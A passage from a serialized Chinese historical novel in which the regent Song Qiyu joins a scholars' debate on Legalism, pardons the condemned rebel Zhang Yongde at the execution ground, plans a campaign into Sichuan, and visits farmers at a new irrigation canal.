老师,那您支持哪种观点呢?”唐明渊微微一笑说:“东辉,在回答你之前,咱们不妨先排个队次,支持守明和萧崇的都坐到我的左手边,称为‘反法派’;支持东辉和志华的坐在厅中间,称为‘外儒内法派’;支持治平和建威的坐到我的右手边,称为‘挺法派’。不要顾虑,只是排个队,无所谓谁对谁错。”进士们先是议论纷纷,继而便开始更换队次,讲习堂里一阵混乱。唐明渊看到还有几个人没有进队,便问道:“振业、陈正还有跃然,你们为何不进队呢?”一名微胖的官员拱手说:“学士,这三种观点杨某都有些不敢苟同,故而……”唐明渊呵呵一笑说:“好吧,那你们就坐在后面,单起一队,称为‘骑墙派’。”其他队里的进士嗤嗤调笑道:“跃然兄、光美兄,骑墙的名声可是不好听啊!要不,你们也来我们这一派,我们收容你……”唐明渊略微估算了一下各队的人数,缓声说道:“看来反法派的人数最多,外儒内法派的人数次之,骑墙派的人数最少。不过,在我看来,任何观念都有其局限性,也都存在不完善的地方,我们在将其应用到实践中时,必须结合时代背景,根据具体条件,取其精华,去其糟粕,方能达到造福天下的目的。譬如,秦国在诸强环伺的情况下,若没有坚强的统治,没有一致的目标,没有严格的赏罚,没有有效的制度,秦人是不可能逐渐崛起,横扫六合的。所以,秦孝公用卫鞅变法,是符合时代规律的。但是,在秦始皇统一天下之后,国家的情况已经发生了改变,秦人却仍然坚持‘耕战’立国,残酷地统治老百姓,这就违了圣人的恕道,不利于国家的发展。暴秦二世而亡,就是这个道理。因此,若是我选队次,可能也会站在李跃然和陈正身后,做个随时随地随情而变的骑墙派咧!”后面的杨振业几人喜形于色地鼓掌喝道:“学士说的好!我等为官就是该以造福天下为目的,不可拘泥于形式。”但其他三队的人却多少有些不服气,场面上也添了几分尴尬。 这时,从讲习堂外面传来一个洪亮的声音:“其实,另外三队也没有错,只是看问题的角度不同而已。”随着话音,宋启愚抬脚跨进了厅堂。众人见是公义王驾到,全都恭恭敬敬地跪地施礼说:“学生见过公义王殿下。”宋启愚先上前扶起了唐明渊,又对进士们说道:“都起来吧。二十多年前,本王也和你们一样,坐在这个厅堂里谈古论今,读书成长。现在,看着你们意气风发,充满活力的样子,我是真高兴啊!”他又指着厅堂的一角说:“我与你们的主考朱尚书是同科,当年,我们就是在那儿争论儒学与道学的关系,又探讨富国强民的办法。如今回忆起来,真是历历如昨啊!”宋启愚坐到正座上,继续说道:“唐学士给你们提出了一个很艰深的问题。各位要把这个题目回答圆满就得先知道商君思想的精华在哪里,糟粕在哪里。”一名进士举手问道:“公义王,那您认为《商君书》的精华和糟粕都是什么呢?”宋启愚想了想说:“守明既问到了,本王就说说我的看法。商君以法治人的观点是很有创造性的,但他同时提出了‘弱民’、‘愚民’、‘疲民’、‘辱民’、‘贫民’的观念,即只许人民做贡献,不许百姓享福利,这就把人民放在了统治者的对立面上。比如,他说‘民弱国强,民强国弱。’就是强调国与民不能两利。再比如,他说‘以强去强者,弱;以弱去强者,强。’意思是说,依靠强民清除强民,剩下的人里还有强民,国家就会被削弱;而让听话的人去清除强民,剩下的人就都是弱民,国家就会强大。这几乎是把人民当成了统治者的敌人,那么国家又怎能长治久安呢?同时,商鞅的方法也造成了一种逆淘汰现象,即有才能、有力量的强人不但不会被重用,反而会被消灭。这难道不是国家的损失吗?”宋启愚顿了一下,继续说:“所以,秦代以后的统治者都不敢明目张胆地使用法家之术,而是选择了更为重德养民的儒家之道,甚至在文景时期还使用了与民休息的老庄之学,以激发民间的活力。当然,也有少数强权皇帝采用了‘外儒内法’的方式盘剥百姓,结果却造成了社会动荡、民不聊生。汉武帝用桑弘羊变法,其末期就是这个样子。因此,唐学士让你们阅读《商君书》绝不是让你们简简单单地看一本书,而是要让各位通览我们的历史,不要重蹈前人的覆辙。”唐明渊用无限敬服地眼光看着公义王,心中充满了愉悦。宋启愚又说:“唐学士和杨振业等进士能看到事物的局限性,强调因时而变,贴近实际,今后自然会以民为本、造福天下。不过,‘反法派’也不差,他们看到了法家思想的糟粕点,不愿泯灭人性,只要在今后的政治生涯中,坚持本心,坚持原则,也能取得一定的成就。至于段志华等‘外儒内法派’则应该融汇儒道与法家思想的精华点,立足于当下,惩恶扬善,亦能有一番作为。还有‘挺法派’,若在动乱不定的地区,面对纷繁芜杂的局面,严刑峻法也许是最好的选择。但,你们一定要认真考察时代的变化,不要被社会所淘汰。在此,本王也给各位推荐一本书,即《管子》,请大家仔细揣摩管仲的经世之道。”宋启愚扫视着在座的进士们,轻捋须髯说:“总之,在座的青年才俊们,观点可以不同,方法可以各异,但以天下为己任的初衷不能改变。各位要记住,应把百姓看做服务的目标,而不能把他们当做自己的工具。”士子们听着公义王和缓又有说服力的话语,看着公义王端正又亲切的容颜,体会着公义王以天下相嘱托的赤城之心,全都感动地躬身应诺道:“学生谨遵公义王教诲……” 第五十六回2 午时三刻的特赦 转眼到了九月下旬,殿前军都司令伍名派人押解着囚徒张永德回到了开封。公义王特命刑部侍郎绳鑫和大理寺少卿袁儒忠负责审理该案。由于这件事情脉络清晰,证据确凿,所以,很快就被定成了谋反案。宋启愚为了叫天下人心服,又命刑部把张永德的犯罪事实制成榜文张贴到汴梁的各个城门处,广谕官民人等。一些在京的大臣,尤其是原先跟张永德有过交往的官员,为了撇清自己,纷纷上书要求严惩张永德。最终,刑部尚书颜学仁、大理寺卿姜士选在与绳鑫、袁儒忠商议后,联名上了“大辟张永德、抄家灭其族”的奏章。 十月初八的中午,小西门内的官榜前,围着几十个百姓。只听一个文生大声念道:“宣谕处斩大周叛逆张永德的布告。兹有张犯永德,年六十有七,汉中人士。公义元年六月初十,张犯接到东南叛将齐元能的密信,约其共同举兵夹击京城。张犯随派遣其子联络旧部,准备扯旗造反。张犯部将沈建平又与割据四川的叛臣骆建成达成协议,欲出让汉中一半的土地给骆建成……兹定于本月望日,将张犯押赴市曹,开刀问斩……”听榜的老百姓开始窃窃私语。其中一个说:“这张老相国放着富贵日子不过,为何非要走这条路呀!”另一个百姓接茬道:“他老糊涂了呗。原先他就没做什么好事,现在倒出来造别人的反了。”还有一个说:“他那是不服气,觉着别人得了势,自己没好处了。”又有一个百姓说:“他有啥可不服的。人家公义王一上来就废除了几十项捐税,又鼓励老百姓生产经营,还开科取士,加强治安。每件事都比之前那帮家伙干的强……”这时,在人群边沿,一位双颊蹙缩、眉毛雪白的老和尚双手合十,轻叹了一声,小声自语道:“阿弥陀佛。你服侍了四代皇爷,又为国家征战了几十载,不想年近古稀竟要受此一刀。我佛慈悲,老衲将到法场送你一程,也算尽了我这旧识的心意。” 十月十五,天灰蒙蒙的。由于担心张永德的旧部闹事,刑部尚书颜学仁特意向董阳和毛迪借调了千余晋阳军队保障沿途和法场的安全。刚过辰时,已然有十几万京城百姓聚集到了囚车途径的大街两厢。人们交头接耳,翘首遥望,都想看一看朝廷是怎样处置前任宰相的。而那死囚张永德也不愧是久经沙场的老将,在被推出天牢、押赴刑场的过程中,他始终神态自若,举止安详。 囚车经过曹门街口,百十名侍卫亲军哭拜于地,请求给他们的老长官敬酒送别。张永德吃了一口部下夹到嘴边的肉,喝了一碗部下呈到面前的酒,快慰地说:“好酒,好酒!你们都是跟着我从死人堆里爬出来的兄弟,老夫没有白提拔你们。等到了那边,老夫还要领着弟兄们保同泰皇爷,保大周江山!老夫要禀告先帝,杀了冯体仁这个废物,再杀了宋启愚这个乱臣贼子!”负责押送的刑部官员本想呵斥他,旁边的晋阳军偏将辛涛开口说:“公义王有令,不要难为他。就让他痛快说吧。反正,他也没多大时辰了。”张永德听了这话,放声大笑道:“这就是姓宋的给老夫的恩典吗?我呸!皇统帝虽然年幼,但他毕竟是先帝的继承人,你宋启愚凭什么废黜他……”囚车继续缓缓开进,张永德环视着街边的人群,高声喝道:“宋启愚,你这擅立新皇的贼!你这专权跋扈的贼!别以为控制了朝廷就没人敢骂你,别以为立了个傀儡你就能糊弄人。说什么老夫谋反,老夫反的是你宋启愚,可不是反的大周。若不是老天对我不公,若不是手下做事不密,若不是小人依附当权,若不是冯体仁、齐元能这些废物昏聩无能,老夫也许早就占领了京城。宋启愚,老夫不服!老夫做了鬼也要找你报仇……”押解囚车的一名晋阳铁骑忍无可忍,一鞭子抽在囚车的栏杆上,讥讽道:“闭上你的臭嘴吧。你们掌权时天下大乱,外敌入侵,百姓疲敝,民不聊生;只有我们山西社会稳定,大破柔然,士民乐业,府库充盈。如今,我家公义王正在为天下人的福祉夙夜忧劳,可你这朽木却要阻止百姓过上好日子,还大言不惭地说自己多么正义。你的良心让狗吃了!”其他晋阳军也愤怒地叫道:“说的好,真解气!这个老东西根本不知道民间的苦。他们当政的时候,就是恶政频出,弄得天下人没有活路。”一些街边的老百姓也点指着张永德说:“就凭公义王免了咱们几十项捐税,咱也不能听凭他咒骂公义王。”张永德仰天长叹道:“真是世风日下啊!你们这些贱民不尊皇权,不守礼法,太寒老夫的心了……”突然,一颗臭鸡蛋砸在张永德的白头上,紧接着,又有几颗臭鸡蛋和几片烂菜叶爆开在囚车的栅栏上。辛涛见状,急忙提马上前说:“乡亲们,公义王有令,不许侮辱张永德。”他又对左右命令道:“弟兄们,维持秩序。”几十个士兵跑向前方,拦住了欲向张永德丢掷秽物的百姓。 囚车拐进了柴市大街,一个公鸭嗓的大和尚快步上前喊道:“阿弥陀佛。果晨大师要求为张相送行。”辛涛回答道:“允准。”在张永德疑惑的目光中,一位双颊蹙缩、眉毛雪白的老和尚捧着一坛酒走到了囚车跟前。老和尚口诵佛号道:“阿弥陀佛。张相还认识咱家否?”张永德用力眨了眨昏花的眼睛,仔细辨认那老僧,却始终想不起对方是谁。他略带尴尬地说:“老师父,恕老夫眼拙,认不得尊驾。”老和尚叹了口气说:“张相十七岁投军,却与上司不和,征战十余载,还是个小小的副尉。直到年少时的同泰皇爷巡视陕西才提拔了你,咱家当时就跟在殿下身边。其后,你抗柔然、打西羌、兴屯田;调任侍卫军,你又整器械、抓训练、灭反贼,干了不少实事儿啊。同泰皇爷登基后,你随皇爷出征关北,又替皇爷看管延绥,其间,咱家代表皇爷数次表彰于你,你对咱家极尽恭维,对皇爷更是感恩戴德。再往后,你平定静福之乱,执掌国家中枢,对社稷又做出了很大的贡献。”张永德老泪纵横地哭叫道:“老师父莫非是白晨公公?原来,您还活着!呜……呜,先皇爷,先皇爷对我恩比天高,张某永世不敢忘怀啊!”白晨想起往事,也很伤感。他轻轻展了一把眼泪,又将手中的酒坛交给身前的大和尚,吩咐说:“智全啊,去给张相斟一碗酒喝,也算咱家给这曾经的功臣送行了。”张永德充满感激地说:“天啊,我张永德最后能得到白晨公公的褒扬,死也瞑目了!” 第五十六回3 午时三刻的特赦 白晨看着张永德喝下碗里的酒,又说:“张永德,你若早死十年,也许我对你就是这个评价。只可惜,现在,老僧只能说你是个忘恩负义、不忠先帝、贪恋权位、助纣为虐的糊涂虫!”张永德大瞪着眼睛,错愕道:“白公公何出此言啊?”白晨双手合十说:“阿弥陀佛。看你即死,老衲就把帝国的这些丢人事都说与你听听。二十多年前,同泰皇爷御驾北征,遭到了柔然偷袭。结果,咱家被俘虏,皇上也险些被杀,幸亏宋启愚及时赶到,救下了皇爷和我。老衲怕皇爷难堪,就让宋启愚参加次年的科考。早些年,朝臣们一直以为是老衲对宋启愚恩赏有加,其实,那不过是皇爷报答宋卿当年的救命之恩而已。”张永德惊愕地看着白晨说:“这,这难道是真的吗?我的天啊,若皇爷殒命,那我大周不也……”白晨不理会他,继续说道:“宋启愚历次外放,老衲都半开玩笑地说要他绵延大周国祚。可后来,大伙也都看到了,守卫关北、击败柔然的是他;起兵勤王,铲除静福的是他;镇压叛乱,收复燕云的是他;平定贼寇,保境安民的还是他。”张永德咬牙反驳道:“可是,即使他立了天大的功劳,他也不该废黜了皇统帝啊!”白晨又念佛号说:“阿弥陀佛。张永德,也许你不知道,同泰皇爷在临终前亲口告诉老衲‘命皇五子扬王石坦继位’。老衲为了保守这个机密,当时只能装疯卖傻躲避毒手。齐王和成王进京后,互相倾轧,勾心斗角。最终,齐王胜出,杀死了成王和共治帝。你身在中枢,敢说自己手上没有沾血吗?”往事一幕幕划过张永德的脑海,他有些不知所措。他干动了两下嘴巴,却只吐出了“可是”二字。白晨继续说道:“齐王称帝后,在金龙殿发现了先帝遗诏。他害怕事情败露,失去帝位,就派齐元能带兵包围了皇家祖陵。那齐元能先用毒酒鸩杀了扬王,又命兵卒杀光陵区内的人。老衲师徒是躲在坟圈里才逃得了性命。后来,老衲听说扬王殿下全家遇害,我当即就发下誓愿,要把天通帝的暴行写成文稿广为散发,好让后人知道他的狠毒,了解这段真相。”张永德痛苦地用脑袋撞着囚车,哭着问道:“这,这些,可是,可是,难道,难道当今皇上才是大周正朔?难道张某彻底错了?”白晨转向皇宫方向,双膝跪倒激动地说:“苍天有眼啊!苍天有眼!当今正是扬王殿下的幼子,同泰遗诏终于在公义王的遵行下实现了!老衲这次进京,向公义王致谢后,便可归隐山林,侍奉我佛,再也不过问尘世上的事了。”张永德面色惨白,浑身颤抖。他放声大哭道:“同泰皇爷呀!老朽糊涂啊!老臣才是大周的叛逆,老臣罪该万死!公义王,您对我朝的恩德,老朽只有来生再报了……” 巳末时分,张永德被押到了行刑场前。监斩官颜学仁和姜士选在验明人犯正身后,对写有张永德名字的纸牌进行了勾决。在走向法场时,不知为什么,后颈插着勾决牌的张永德却心情豁亮。他高声呼喊道:“公义王,大周国祚全赖阁下延续!我张永德背叛国家死有余辜!张永德对公义王心服口服!” 由于天气阴沉,日晷的长度看不清楚,颜学仁便命令阴阳官每过一刻上前禀报一次时辰。不多时,身穿黑白两色服的阴阳官大声报告道:“禀大人,午时初刻了。”颜学仁轻轻挥手说:“再报。”又不多时,阴阳官再次大声报告说:“禀大人,午时二刻了。”颜学仁又说了个“再报”,同时,他从案上的令壶内擎出了一支令牌。也许是由于天气转凉,也许是畏于刑场的杀气,与颜学仁并排坐着的监斩官姜士选不由自主地打了个冷颤。他偷眼看了看颜学仁,却发现这位刑部尚书的头上也淌出了冷汗,而他握着令牌的手也在微微发抖。 就在法场内外的人们全都高度紧张的时候,顺着柴市大街快速飞来一骑,马背上的人一边催马一边高喊着:“公义王有令,赦免逆犯张永德!公义王有令,赦免逆犯张永德……公义王有令,赦免逆犯张永德!”那人冲到监斩棚前,勒住战马,取出谕旨朗声读道:“公义王特赦令。张犯永德虽有叛卖汉中、举兵谋反的行为,但念其曾为保卫国家、建设大周立过功勋,又念其年事已高、体弱多病,本摄政王依据《大周律法》特赦张永德死罪,同时,宽宥其族人三百五十七口……”已经两眼迷离的张永德只觉得身子发软,一下子瘫倒在地。他向皇宫方向伸出手去,用极为细微的声音呼喊道:“伟大的公义王!公义王万岁……” 在赦免张永德的当天下午,四名侍卫亲军将校自缚双手跪在了公义王府的大门前。酉初时分,前导马队从远处奔来,有人高叫着:“公义王回府。快快打开大门。”这四名自缚的将校向前跪爬了几步呼喊道:“公义王,罪将听信谗言,不辨忠奸,干下了刺杀王驾的糊涂事。请公义王从重处置罪将,以正军纪,以儆效尤……”宋启愚坐在马车里先听了一会儿,才挑开车帘,跳出车外。他对段鲲吩咐道:“把匕首给我。”段鲲一边忙不迭地将匕首呈给公义王,一边陪着小心说:“此等见血的事可否交给末将代劳?”宋启愚接过匕首哈哈大笑说:“你想到哪去了!卞军、刘凯、黄顺、王卫廷这样的勇士我怎么舍得杀害呢。他们今天自缚请罪,说明他们已经认识到了错处。既然如此,本王就该亲解其缚,放他们回去。”说着,他上前用匕首割断了捆在刘凯身上的绳索。接着,他又给卞军、黄顺和王卫廷松了绑。宋启愚和蔼地对他们说:“事情都已经过去了。你们不要有什么顾虑,回去后好好带兵,在国家需要时,将功折罪吧。”四将感动得无以复加。他们趴伏在地上,痛哭流涕地说:“公义王对我等的恩德比天还高,我等今后纵使赴汤蹈火也要为公义王效犬马之劳。” 宋启愚刚刚目送四将呜咽着离去,却听人群中有人高诵佛号,“阿弥陀佛。公义王心胸宽广,化敌为友,真令老衲动容啊。看来当年,老衲没有看错人,你果然延续了我大周的国祚。”宋启愚听声音耳熟,急忙回头,却见说话者是位双颊蹙缩、眉毛雪白的老僧。看宋启愚疑惑,老和尚又向前走了两步说:“白晨感谢公义王特赦了前朝老臣张永德,又宽恕了这些政见不同的军将。”宋启愚只迟愣了一瞬,旋即上前撩衣跪倒说:“果晨大师在上,宋启愚给您问安。”听宋启愚叫出了自己的法号,白晨很是惊讶。这时,从府内出迎的曹可用走上前来,抱拳拱手说:“大师勿怪,其实,数年前,曹某已经查得您的行踪,只是宣道严令不许打扰,故而,您才在河东自在了这七八年。”白晨伸双手扶起宋启愚,感慨道:“原以为,老衲帮着公义王收服了人心便还了你延我大周国祚的情分,却不知,老衲师徒一直都在公义王的护佑之下。”宋启愚躬身说:“当年,白公公嘱咐我‘救民图存、倾尽所能’,宋某从来没有忘记。”白晨抓住宋启愚的胳膊,眼望着这个后生,心情非常舒畅。宋启愚轻轻地点点头说:“大师,此处并非讲话之所,咱们可进府再叙。”白晨先双手合十道了声“叨扰”,随后,便在宋启愚和曹可用等人的陪同下走进了王府。 天色渐渐暗了下来,公义王府周围的景致越来越模糊,但在火把和气死风灯的照耀下,王府门楼正中牌匾上的“公义”二字却显得格外清晰。每当寒风吹拂、火光闪动,便会有绚烂的金光在字面上氤氲,饶是远处的人们似乎也能窥得那一抹淡淡的亮色。 第五十七回1 向巴蜀进军 公义二年龙抬头,宋启愚穿戴着亲王冠服,骑乘着白马,在校军场,检阅了殿前军的部分部队。为了向东南的邢华显示实力,宋启愚特命鸿胪寺卿王银虎和礼部郎中纪国正带着首次进贡的饶国使臣来到典军台,观看阅兵仪式。 辰正时分,随着三声短哨,刘戈和李景率领着一千骑兵如旋风般突进了校场。他们高举着马刀,冲向预设阵地,将木桩人偶的“头颅”一个个劈将下来。一时间,校场中央尘土飞扬,假人脑袋就地乱滚。宋启愚微笑着问陪同检阅的毛迪:“殿前军中象这样的骑兵还有几营?”毛迪抱拳高声回道:“禀公义王,殿前军的四十营骑兵都是这种水平。”表演进行了半刻钟,在又一声长哨后,千名铁骑鱼贯而走,转瞬间便从西辕门奔离了校场,仅留下一片狼藉,显示着那骇人的作战效果。 经过简单的清理,校场上恢复了秩序。毛迪命令道:“再发哨令。”又是三声短哨,蒙正、易东等将领带着数千步兵跑进了场中。很快,这些军将列阵完毕,开始了刀法和枪法的表演。看着兵将们威武整齐的阵式,听着场地里震耳欲聋的的喊杀声,宋启愚不住地点头微笑。在和段卫国、毛迪、余天锡等将领交流的间隙,宋启愚还不忘悄悄瞟了一眼满脸惊惧的饶国使臣。接下来,康恩和施济胜的部队进场表演了弓箭射击和阵型变化;布方和崔同的部队则拖曳着二十门铁炮威风凛凛地从典军台前经过…… 检阅完这支部队,宋启愚招手把饶国使臣叫到马前。宋启愚呵呵一笑说:“贵使参阅了我朝的殿前军,以为战力如何?”使臣急忙躬身拱手说:“回公义王的话。天朝戎伍兵强马壮、所向披靡,实乃侯某未见之铁甲雄师啊!”宋启愚又问:“本王听说饶王手下有三十万虎狼军旅,想必战力强悍的部队也不少吧?”使臣又一拱手说:“回禀公义王,若在陆上,鄙邦的弱旅根本不能与天朝的殿前军相提并论,但若在江河中,东南的水军却足以冠绝天下。”宋启愚微笑着点点头,又问:“那么在贵使看来,你邦水军中最厉害的将军是谁呢?”使臣再一拱手说:“金陵的谭文元大将军和池州的杨一彪将军都可被称为东南屏障。”宋启愚转头对王银虎和纪国正说:“你们二人这次的接待工作做得很好。既然饶国已经去除了国号,改称‘东南之邦’,那我天朝也该给与嘉赏才是。故而,纪大人,过些日子,你跟着侯大人去杭州回拜邢华执政,向其转达本王的问候。”纪国正赶紧跪倒说:“下官听令。”宋启愚让纪国正起身,又对饶国使臣说:“贵使几天前向本王请求册封你主为东南执政一事,恕本王现在还不能答应。不过,本王可先向长江、抚河前线下令,暂停对东南的攻击。若你主真有和解之意,就请他再派重臣到汴京谈判。本王到时自会有一番说辞。”饶国使臣听了这话,跪地磕头说:“公义王的善意,外臣一定向我主转达。”宋启愚又笑了笑说:“贵使的才干本王很是欣赏,给你的赏赐本王已命人送往了驿馆。”饶国使臣又磕头道了谢。宋启愚接着言道:“如今,正差办完,你也不必急着回去,可由王大人、纪大人陪着你到处逛一逛,以显我朝待客之礼。当然了,等纪大人出使江南,本王也希望东南能好生接待他。”饶国使臣又行了个礼,说:“公义王放心。我主定不敢怠慢天朝贵使。” 过了几天,宋启愚在王府的演武厅接见了毛迪、伍名等殿前军的高级将领。宋启愚呵呵笑着说:“殿前军中的有些将校啊,一直鼓动本王出兵四川,我却告诉他们要做好准备,等待时机。其实啊,本王那是没有想好进攻巴蜀的战略。在这半年里,本王查阅了大量资料,又命权正宜绘制了川汉地理图,并从各地调来了原籍四川的部将,还拔擢了几个四川籍的文武进士。如今,本王以为我殿前军士气已旺,兵备已足,是该征讨骆建成的时候了。故此,本王才把你们叫来,开这个出征预备会。”蒙正、易东等大将兴奋地说道:“公义王,太好了!我们都盼着为您再立功勋呢!”伍名抱拳问道:“那么,不知公义王想派哪些将军去取四川呢?”毛迪拍拍伍名说:“王爷把多名川籍将校都调给你了,自然会让你入川作战的。”宋启愚点点头说:“承循的脑子还是转得快啊。四川跟其它地方不同,在进军路线的选择上很受局限。因巴蜀四面都有天然屏障,易守难攻,所以,大诗人李白才写诗感叹曰:‘蜀道难,难于上青天’。”他招呼众人来到地形图前,点指着图纸说:“当年,忠肃候苗家伟统兵攻川,受阻于剑门关;夔门总督司马焌沿长江西进,兵败于巫山一线;都是因不得地利,战略错误所致。”宋启愚转到图纸上方,接着说:“你们看,从汉中入川主要有四条道路。其一是‘金牛道’,即沿剑阁、绵竹、德阳直取成都。在所有通道当中,这条路最短,但我们却必须攻击‘一夫当关万夫莫开’的剑门关和古栈道,作战代价会非常大。故而,我们不能主攻这里。其二是绕道阴平经岷山东麓过江油取成都。这条路是三国时期邓艾灭蜀所选的道路,但它太过崎岖,中间还要穿越七百里的险域,山高谷深,粮运不继,不适合大兵团作战。其三是穿过米仓山和大巴山之间的缺口,攻取巴州,再沿渠江南下的道路。这条路比金牛道远但比阴平道平坦。我本欲主攻此道,不过,新科武进士岑汉说,骆建成在群山之间设置了多道关卡,对我军能造成较大阻碍。故此,本王只能把主攻路线选在这里——荔枝道。”宋启愚扫视着部将们,停顿了片刻,继续说道:“荔枝道从汉中的西乡沿泾洋河取洋源、宣汉、达州,再沿渠江取广安、合川,最后到达江州和涪州。唐代以前,这条路叫‘洋巴道’。到了天宝年间,因杨贵妃喜欢吃鲜荔枝,唐明皇李隆基便命人对这条道路进行了修缮开凿,又在沿途增设了驿站和栈道,从而将川南与长安之间的距离缩短为两千多里,当时的人通过驿道把岭南荔枝运送到长安仅仅需要三天。诗人杜牧曾在《过华清宫》一诗中这样描述:‘长安回望绣成堆,山顶千门次第开。一骑红尘妃子笑,无人知是荔枝来。’本王之所以主攻这条线,还有一个重要原因。原籍宣汉的包孝敏将军曾跟本王说,荔枝道路况良好,适合大军通行。而新科进士贺守成在去年进京赶考时,也是通过荔枝道从他的家乡走出蜀地的。”众将听了公义王有理有据的分析研判,全都佩服得五体投地。伍名挑起大拇指称赞道:“列位,知道什么叫‘运筹帷幄、决胜千里’了吧!咱们跟着公义王,什么样的敌人都可以战胜!”蒙正也砸吧着嘴笑道:“那是,公义王这一分析,我就觉着咱们用不了几天就能拿下四川,消灭骆建成。”毛迪凝神看了一会儿地图,点头说:“公义王的战略确实高明。首先,荔枝道地处川东,骆建成的驻防力量相对薄弱,只要我们打掉他的重要据点,就可以把四川从中间劈开。然后,我们先从涪州出兵,向东占领夔州和巫山,从而打开荆襄援军入川的门户。接着,我军便可从江州过合川,攻阆中,下金堂,到达成都城下。或者,我军还可以顺着长江西取泸州、宜宾,再北上攻取成都。”宋启愚轻轻拍了拍毛迪的肩膀,笑着说:“本王原想从东南把国栋调回,现在看来,没有这个必要了。此次攻蜀的行军总管非承循莫属。”毛迪急忙跪倒说:“毛迪谢公义王栽培。承循定然殚精竭虑,不负王爷嘱托。”宋启愚微微点头,接着命令道:“伍名、布方、施济胜,你们做毛总管的副将,跟从毛迪攻取川东,不得有误。”三将也赶紧跪倒说道:“末将谨遵公义王将令。”宋启愚示意几人起身,又说:“此次攻川,本王将命令苗家伟继续对剑门施压,以免骆建成从金牛道抽调兵力。同时,蒙正和易东可领本部万余兵马从米仓道入川,既做疑兵吸引敌人,又做强军伺机破敌。另外,康恩和李景要带领所部进驻秭归,与司马焌的部队汇合,随时准备逆长江西进,攻击巫山和夔州。”众将全都跪倒磕头说:“末将听令。请公义王静候佳音。” 第五十七回2 向巴蜀进军 半个月之后,数支殿前军相继开赴了前线,准备征讨四川割据势力。与此同时,宋承宇也被父亲派往了洪州,接掌赣江行军总管一职。 春分前夕,操劳了许久的宋启愚感到了一丝疲惫。恰在此时,工部营造的灌溉工程刚好建成,宋启愚随决定微服前往京郊视察农耕情况。 次日早上,在红艳的晨曦中,三名骑士自由地驰骋在绿色的原野上。身穿布衣的宋启愚一边呼吸着清新的空气,一边开怀笑道:“痛快!痛快!好久没有享受过这样的闲暇了。”曹可用追上来说道:“可不是,咱哥俩上次赛马还是一年多以前。”这时,冲在最前面的白衣少年圈回马来,高兴地喊道:“父亲,义父,孩儿没有吹牛吧,还是我的‘赤电’最快。”宋启愚勒住战马,慈爱地对白衣少年说:“宸儿的骑术大有长进,你义父教导有方啊。”宋承宸嘻嘻一笑说:“父亲接下来一定会说希望孩儿戒骄戒躁,继续向义父学习之类的话。”曹可用哈哈大笑说:“这孩子就是伶俐,跟着我走南闯北才几年,已把我身上的本事学去了七八分,将来啊,还不一定出息成什么样子呢。不过,宸儿啊,你就没看出来,你父亲是让着你呢!”宋承宸又嘻笑着说:“爹让儿子天经地义。义父也不要小看人。我爹的心思我怎么会不明白,他是怕踏坏了前面的青苗,才放慢速度的。”他又指着绿油油的麦田和金灿灿的油菜地说:“我宋承宸不是纨绔子弟,知道农人的苦,不会冲到田里去,破坏别人的好心情。不过,我也不是迂腐的木头,该变通的时候,我也绝不会认死理、撞南墙。”曹可用大笑着说道:“宣道,你看看,这孩子又会顾念别人,又知道迂回得利,真是惹人疼爱啊……” 三个人缓辔慢行,刚转过一片小树林,就听有人高喊道:“来了,来了,人来了!”紧跟着,前方便传来了锣鼓声。曹可用担心出意外,慌忙提马向前,却见一群农民守在水渠前面向着自己欢呼雀跃。可当那帮人看清三人的面目后,却纷纷收住了锣鼓。只听领头的农民骂道:“小四,这哪是方老爷,也不是营造司的大人,你就会一惊一乍的。”接着,又有几个人数落起那个小四来。被骂的农民噘着嘴说:“俺一看是几位骑马的大爷,就以为是方大人来给咱们放水了,谁想到是几个过路的。”他乜斜着眼睛看了看已到近前的三人,没好气地说:“恁们赶快往那边去,白碍着俺们放水浇地。该来的不来,真晦气。”曹可用怕宋启愚难堪,随斥责道:“你这后生真是无理,自己认错了人,还来找我们的不是。”哪知这个小四是个愣头青,跳将起来,指着三人说:“恁们白那么多废话。都到那边凉快去,白影响俺们迎候方大人。”曹可用正要发作,后面的宋承宸嬉笑着上来说:“嗷,我还当是谁呢,不就是方大人吗?他跟我熟得很。”小四听了这话,一下子失了气焰,陪着小心问道:“那您,是方大人的朋友?”宋承宸仰脸说:“那当然了。”小四得了回话,转脸对众乡亲喝道:“你们才是傻蛋呢!没看出来吧,他们是方大人派来的,还不赶快吹打起来。” 锣鼓声再次响起,几个领头的农民走上前来,喜眉笑眼地说:“三位老爷,那咱们就开闸放水吧?这庄稼可是不等人啊。”宋承宸打着哈哈说:“不急,不急,他们就快到了。我们是先来巡视的……”后面的宋启愚跳下马来,先上前看了看渠里流淌的水,又摸了摸田边翠嫩的麦苗,才走过来略有所思地问道:“营造司的方老爷是方庆钟员外郎吗?”农民们露出了喜悦的表情,其中一人说:“原来你们认识的是方老大人,那是俺们的恩公啊!”宋启愚疑惑道:“恩公,这怎么讲?”一个农民陪着笑说:“咱这开封东边啊,一直都缺水,每年到了春上,就得挑水浇地。去年方老大人在惠济河上建了工坊,又挖了渠,昨天通知说今天给俺们放水。这以后啊,咱地里的收成就有了保证。俺能不感激方老大人吗!不过,前些时,方老大人也发的有布告,说今年水小,要限制各村的放水时辰。所以,俺们才张罗着得好好接待地保大人,想着让他多给俺们放上个把时辰的水。”宋启愚微微一笑说:“春分麦起身,雨水贵如金。怪不得你们敲锣打鼓的。”这时,小四凑过来插嘴说:“这位大老爷,待会儿,您能不能让方地保多给俺村放些水啊。”曹可用打趣说:“就凭你小子刚才的态度,我们也不能替你说这个话。”宋承宸也调侃道:“就是,这会儿不让我们一边凉快去了?”宋启愚捻着胡须说:“这个冬天雨雪少,黄河的水自然也小,但只要合理分配还是够使的,方庆钟做的不错,我们不应该干涉。”看着眼前失望的农民,宋启愚又补充道:“生产条件的改善必须一步一步来,我帮不了你们。但我可以建议朝廷,减少你们的税赋。乡亲们以为这样可成?”农民们欢呼道:“那感情好!成啊,太成了!”忽然,有人指着远处的几个人影喊道:“你们看,方大人来了。”这下,农民们也顾不上宋启愚三人了,全都热切向地保迎了过去…… 第五十七回3 向巴蜀进军 